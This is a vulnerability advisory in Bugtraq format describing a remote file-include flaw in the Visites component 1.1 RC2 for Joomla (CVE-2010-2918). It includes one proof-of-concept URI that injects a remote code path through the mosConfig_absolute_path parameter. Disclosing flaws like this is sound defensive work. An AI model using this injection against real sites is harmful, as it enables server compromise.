Joomla Visites Component mosConfig_absolute_path Remote File Include Vulnerability

Bugtraq ID:	28942
Class:	Input Validation Error
CVE:	CVE-2010-2918
Remote:	Yes
Local:	No
Published:	Apr 26 2008 12:00AM
Updated:	Aug 06 2010 04:05PM
Credit:	NoGe
Vulnerable:	Visocrea Visites 1.1 RC2
Not Vulnerable:

Joomla Visites Component mosConfig_absolute_path Remote File Include Vulnerability

The Visites component for Joomla! is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Visites 1.1 RC2 is vulnerable; other versions may also be affected.

Joomla Visites Component mosConfig_absolute_path Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following proof-of-concept URI is available:

http://www.example.com/administrator/components/com_joomla-visites/core/include/myMailer.class.php?mosConfig_absolute_path=[evilcode]

Joomla Visites Component mosConfig_absolute_path Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Joomla Visites Component mosConfig_absolute_path Remote File Include Vulnerability

References:

• Visites Home Page (Visocrea)